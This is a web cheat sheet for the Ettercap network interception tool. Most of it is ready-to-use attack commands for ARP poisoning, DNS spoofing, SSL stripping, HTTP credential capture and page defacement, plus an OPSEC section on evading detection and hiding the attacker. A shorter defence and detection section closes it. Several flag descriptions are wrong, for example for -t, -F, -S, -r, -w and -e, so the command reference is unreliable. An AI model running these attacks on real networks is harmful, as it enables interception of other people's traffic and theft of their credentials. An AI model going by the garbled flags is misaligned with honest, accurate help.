콘텐츠로 이동
1337skills 1337skills - 치트시트

Ettercap

Installation

섹션 제목: “Installation”

Linux (Debian/Ubuntu)

섹션 제목: “Linux (Debian/Ubuntu)”
sudo apt-get update
sudo apt-get install ettercap-graphical ettercap-common
# Or CLI-only version
sudo apt-get install ettercap-text-only

Linux (Fedora/RHEL)

섹션 제목: “Linux (Fedora/RHEL)”
sudo dnf install ettercap

macOS

섹션 제목: “macOS”
brew install ettercap

Compilation from Source

섹션 제목: “Compilation from Source”
git clone https://github.com/Ettercap/ettercap.git
cd ettercap
cmake .
make
sudo make install

Mode Selection

섹션 제목: “Mode Selection”

GUI Mode (Graphical)

섹션 제목: “GUI Mode (Graphical)”
sudo ettercap -G
# Recommended for interactive MITM attacks and real-time monitoring
# Provides visual interface for target selection and packet inspection

Text/Curses Mode (Interactive Terminal)

섹션 제목: “Text/Curses Mode (Interactive Terminal)”
sudo ettercap -T
# Full-featured interactive mode without graphical dependencies
# Better for remote/headless systems

Quiet Mode (Non-interactive)

섹션 제목: “Quiet Mode (Non-interactive)”
sudo ettercap -q
# Minimal output, useful for scripted deployments

Info Mode (Display Information Only)

섹션 제목: “Info Mode (Display Information Only)”
ettercap -i eth0 -P list
# List available plugins without launching attacks

Network Interface Management

섹션 제목: “Network Interface Management”

List Available Interfaces

섹션 제목: “List Available Interfaces”
sudo ettercap -i list
# Display all network interfaces with details

Select Specific Interface

섹션 제목: “Select Specific Interface”
sudo ettercap -i eth0
# Target specific interface (eth0, wlan0, etc.)

Promiscuous Mode

섹션 제목: “Promiscuous Mode”
sudo ettercap -i eth0 -p
# Enable promiscuous mode for network sniffing

Target Selection

섹션 제목: “Target Selection”

Scan Subnet for Live Hosts

섹션 제목: “Scan Subnet for Live Hosts”
sudo ettercap -i eth0 -T -n
# N = scan for hosts, then exit
# Use before selecting targets

Single Target Specification

섹션 제목: “Single Target Specification”
# Command line: -t <IP>/CIDR
sudo ettercap -i eth0 -T -t 192.168.1.5
# Target single IP address

Multiple Targets

섹션 제목: “Multiple Targets”
# Syntax: IP1,IP2,IP3 or IP/mask
sudo ettercap -i eth0 -T -t 192.168.1.0/24
# Target entire subnet

Exclude Targets

섹션 제목: “Exclude Targets”
sudo ettercap -i eth0 -T -t 192.168.1.5 -e "192.168.1.1,192.168.1.10"
# Attack range but exclude specific IPs

ARP Poisoning Attacks

섹션 제목: “ARP Poisoning Attacks”

Unified Sniffing (Standard MitM)

섹션 제목: “Unified Sniffing (Standard MitM)”
sudo ettercap -i eth0 -T -M arp:unified /192.168.1.100/ /192.168.1.1/
# Attacker -> Target -> Gateway
# Intercept traffic from single host through gateway
# Syntax: /victim_IP/ /gateway_IP/

Bridged Sniffing (Two-way Interception)

섹션 제목: “Bridged Sniffing (Two-way Interception)”
sudo ettercap -i eth0 -T -M arp:bridged /192.168.1.100/ /192.168.1.200/
# Intercept traffic between two hosts
# Useful for peer-to-peer communication interception

Remote Bridged Sniffing

섹션 제목: “Remote Bridged Sniffing”
sudo ettercap -i eth0 -T -M arp:remote /192.168.1.5/ /10.0.0.5/
# Intercept traffic between hosts on different subnets

ARP Spoofing with Request Reinjection

섹션 제목: “ARP Spoofing with Request Reinjection”
# GUI: Mitm → ARP poisoning → Sniff remote connections
# Automatically rejects ARP requests to maintain connection

DNS Spoofing

섹션 제목: “DNS Spoofing”

Create DNS Spoof Configuration

섹션 제목: “Create DNS Spoof Configuration”
# Edit etter.dns file (typically /etc/ettercap/etter.dns)
# Format: pattern A|PTR|AAAA spoofed_IP

DNS Configuration Example (etter.dns)

섹션 제목: “DNS Configuration Example (etter.dns)”
# Redirect all google.com requests to attacker
google.com A 192.168.1.10
www.google.com A 192.168.1.10
*.google.com A 192.168.1.10

# IPv6 spoofing
example.com AAAA ::ffff:c0a8:010a

# Reverse DNS (PTR)
1.1.1.1 PTR attacker.local

Enable DNS Spoofing

섹션 제목: “Enable DNS Spoofing”
sudo ettercap -i eth0 -T -M arp:unified -P dns_spoof /192.168.1.5/ /192.168.1.1/
# Requires -P dns_spoof plugin and configured etter.dns

Custom DNS File Location

섹션 제목: “Custom DNS File Location”
sudo ettercap -i eth0 -T -P dns_spoof -c /path/to/custom.dns
# Specify non-default DNS spoof configuration

SSL Stripping & HTTPS Interception

섹션 제목: “SSL Stripping & HTTPS Interception”

Enable SSLstrip Plugin

섹션 제목: “Enable SSLstrip Plugin”
sudo ettercap -i eth0 -T -P sslstrip /192.168.1.5/ /192.168.1.1/
# Downgrades HTTPS to HTTP during interception
# Requires ARP poisoning to work

Combined ARP + SSL Strip

섹션 제목: “Combined ARP + SSL Strip”
sudo ettercap -i eth0 -T -M arp:unified -P sslstrip /192.168.1.5/ /192.168.1.1/
# Full MITM with SSL downgrade

Content Filtering with SSL

섹션 제목: “Content Filtering with SSL”
# Intercept content after SSL stripping
# Modify HTTP responses during downgrade

Packet Sniffing & Filtering

섹션 제목: “Packet Sniffing & Filtering”

Capture All Traffic

섹션 제목: “Capture All Traffic”
sudo ettercap -i eth0 -T -L all.pcap
# Log all captured traffic to pcap file
# -L flag enables logging mode

Capture Specific Traffic

섹션 제목: “Capture Specific Traffic”
sudo ettercap -i eth0 -T -F "tcp.dst.port == 443"
# Apply filter: only capture HTTPS traffic

Filter Syntax Examples

섹션 제목: “Filter Syntax Examples”
# Port-based filtering
tcp.dst.port == 80          # Destination port 80
tcp.src.port == 443         # Source port 443

# Protocol filtering
proto == TCP                # TCP only
proto == UDP                # UDP only
proto == ICMP               # ICMP only

# IP filtering
ip.src == 192.168.1.5       # Source IP
ip.dst == 8.8.8.8           # Destination IP
ip.dst in 192.168.1.0/24    # CIDR range

# HTTP-specific
http.request == 1           # HTTP requests only
http.uri contains "login"   # URI pattern matching

Log Filtered Traffic

섹션 제목: “Log Filtered Traffic”
sudo ettercap -i eth0 -T -L captured.pcap -F "tcp.dst.port == 80"
# Capture and filter simultaneously

Ettercap Filter System

섹션 제목: “Ettercap Filter System”

Create Custom Filter (.ef files)

섹션 제목: “Create Custom Filter (.ef files)”
# File: myfilter.ef
# Format: simple scripting language for packet manipulation

Filter Example: Inject Content

섹션 제목: “Filter Example: Inject Content”
if (ip.proto == TCP && tcp.dst.port == 80) {
    if (search(DATA.data, "User-Agent")) {
        replace("User-Agent: Mozilla", "User-Agent: Ettercap");
        msg("Modified User-Agent header");
    }
}

Filter Example: Block Traffic

섹션 제목: “Filter Example: Block Traffic”
if (ip.proto == TCP && tcp.dst.port == 443) {
    kill();
}

Compile Filter

섹션 제목: “Compile Filter”
etterfilter -o myfilter.filter myfilter.ef
# Converts .ef (human-readable) to .filter (bytecode)

Apply Compiled Filter

섹션 제목: “Apply Compiled Filter”
sudo ettercap -i eth0 -T -F myfilter.filter
# Uses compiled filter during packet processing

Filter Syntax Reference

섹션 제목: “Filter Syntax Reference”
# Data inspection
search(DATA.data, "string")     # Search in packet data
regex(DATA.data, "pattern")     # Regex matching

# Packet modification
replace("old", "new")           # Replace string
inject("content")               # Inject new content

# Flow control
kill()                          # Drop packet
drop()                          # Drop packet
accept()                        # Allow packet

Plugin System

섹션 제목: “Plugin System”

List Available Plugins

섹션 제목: “List Available Plugins”
sudo ettercap -P list
# Display all installed plugins with descriptions

Load Specific Plugin

섹션 제목: “Load Specific Plugin”
sudo ettercap -i eth0 -T -P plugin_name
# Load and execute named plugin

Multiple Plugins

섹션 제목: “Multiple Plugins”
sudo ettercap -i eth0 -T -P plugin1 -P plugin2 -P plugin3
# Load multiple plugins simultaneously

Common Plugins

섹션 제목: “Common Plugins”
PluginPurpose
dns_spoofDNS spoofing attacks
sslstripHTTPS downgrade
autoaddAuto-add targets from traffic
arp_copDetect ARP spoofing
chk_poisonVerify ARP poisoning success
find_ettercapDetect other Ettercap instances
ettercap_etterCompatibility plugin
fingerPassive OS fingerprinting

Plugin Information

섹션 제목: “Plugin Information”
sudo ettercap -P plugin_name -h
# Display plugin-specific help and options

Common Attack Scenarios

섹션 제목: “Common Attack Scenarios”

HTTP Credential Capture

섹션 제목: “HTTP Credential Capture”
sudo ettercap -i eth0 -T -M arp:unified \
  -F "tcp.dst.port == 80" \
  -L credentials.pcap \
  /192.168.1.100/ /192.168.1.1/
# Capture HTTP traffic from target
# Analyze pcap for unencrypted credentials

Website Defacement (HTTP)

섹션 제목: “Website Defacement (HTTP)”
# Create filter to replace content
etterfilter -o deface.filter deface.ef

sudo ettercap -i eth0 -T -M arp:unified \
  -F deface.filter \
  /192.168.1.100/ /192.168.1.1/

DNS Spoofing Attack

섹션 제목: “DNS Spoofing Attack”
sudo ettercap -i eth0 -T \
  -M arp:unified \
  -P dns_spoof \
  /192.168.1.100/ /192.168.1.1/
# Redirect target's DNS requests to attacker IP

Transparent Proxy Setup

섹션 제목: “Transparent Proxy Setup”
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Redirect traffic to local proxy
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 \
  -j REDIRECT --to-port 8080

# Run Ettercap with ARP poisoning
sudo ettercap -i eth0 -T -M arp:unified /192.168.1.100/ /192.168.1.1/

HTTPS Interception

섹션 제목: “HTTPS Interception”
sudo ettercap -i eth0 -T \
  -M arp:unified \
  -P sslstrip \
  /192.168.1.100/ /192.168.1.1/
# Requires ARP poisoning to intercept traffic

OPSEC Considerations

섹션 제목: “OPSEC Considerations”

Use MAC Spoofing

섹션 제목: “Use MAC Spoofing”
sudo macchanger -r eth0
# Randomize MAC address before attacking
# Harder to trace to physical hardware

Disable ARP Announcements

섹션 제목: “Disable ARP Announcements”
# Avoid broadcasting identity during ARP poisoning
# Edit etter.conf: set send_arp in appropriate mode

Clean Up After Attacks

섹션 제목: “Clean Up After Attacks”
# Stop Ettercap (Ctrl+C)
# Send gratuitous ARP to restore normal traffic
# Re-poison gateway with correct MAC if needed

# Manually send correction ARP
# Ensures victims resume normal connectivity

Use VPN/Proxy

섹션 제목: “Use VPN/Proxy”
# Route Ettercap traffic through VPN
# Masks attacker IP from upstream logging

Avoid Detection

섹션 제목: “Avoid Detection”
# Disable verbose logging in GUI
# Use quiet mode (-q) for minimal indicators
# Avoid generating ICMP/DNS queries from attacker IP
# Time attacks during high network activity

Defense & Detection

섹션 제목: “Defense & Detection”

Detect ARP Spoofing

섹션 제목: “Detect ARP Spoofing”
# Monitor for multiple MACs advertising same IP
# Excessive ARP traffic on quiet network
# Inconsistent MAC→IP mappings

# Tools: arp-scan, ettercap -P arp_cop

Prevent ARP Poisoning

섹션 제목: “Prevent ARP Poisoning”
# Use static ARP entries for critical servers
arp -s 192.168.1.1 aa:bb:cc:dd:ee:ff

# Enable ARP filtering on Linux
echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore
echo 1 > /proc/sys/net/ipv4/conf/all/arp_announce

# Use ARP monitoring tools: XArp, Arpwatch

Detect HTTPS Downgrade (SSL Strip)

섹션 제목: “Detect HTTPS Downgrade (SSL Strip)”
# Monitor for unexpected HTTP on ports normally HTTPS
# Check for missing HSTS headers
# Browser warnings about invalid certificates

Network Segmentation

섹션 제목: “Network Segmentation”
# Isolate critical systems on separate VLANs
# Restrict ARP traffic between subnets
# Implement 802.1X port security

Encryption Everywhere

섹션 제목: “Encryption Everywhere”
# Use VPN for all sensitive traffic
# Enforce HTTPS with HSTS headers
# Use certificate pinning in applications

Advanced Options

섹션 제목: “Advanced Options”

Packet Rate Limiting

섹션 제목: “Packet Rate Limiting”
sudo ettercap -i eth0 -T -r 100
# Limit packet rate to 100 packets/second
# Reduces network load and detection risk

Spawn Shell

섹션 제목: “Spawn Shell”
sudo ettercap -i eth0 -T -S
# Drop to interactive shell during sniffing

Dumping Utilities

섹션 제목: “Dumping Utilities”
# View captured pcap files
tcpdump -r captured.pcap
wireshark captured.pcap

# Parse specific protocol
strings captured.pcap | grep "password"

Configuration File

섹션 제목: “Configuration File”
# Edit /etc/ettercap/etter.conf
# Configure global behavior:
# - ARP poisoning mode
# - Packet timing
# - Plugin paths
# - Logging options

sudo ettercap -i eth0 -T -w /custom/path/etter.conf

IPv6 Support

섹션 제목: “IPv6 Support”
sudo ettercap -i eth0 -T -6
# Enable IPv6 MITM attacks (experimental)

Troubleshooting

섹션 제목: “Troubleshooting”

Poisoning Not Working

섹션 제목: “Poisoning Not Working”
# Verify IP forwarding enabled
cat /proc/sys/net/ipv4/ip_forward

# Enable if needed
sudo sysctl -w net.ipv4.ip_forward=1

# Check gateway reachability
ping 192.168.1.1

# Verify interface selection
sudo ettercap -i list

Filter Compilation Errors

섹션 제목: “Filter Compilation Errors”
# Validate filter syntax
etterfilter -o output.filter input.ef -d

# Check for syntax errors in .ef file
# Review etterfilter man page for grammar

DNS Spoofing Not Resolving

섹션 제목: “DNS Spoofing Not Resolving”
# Verify etter.dns format (spaces, not tabs)
# Ensure pattern matches target's DNS queries
# Check DNS plugin loaded: sudo ettercap -P list

# Test with nslookup from victim machine
nslookup example.com

Performance Issues

섹션 제목: “Performance Issues”
# Reduce filter complexity
# Enable quiet mode (-q)
# Limit packet capture scope with -F flags
# Use bridged mode instead of unified for better performance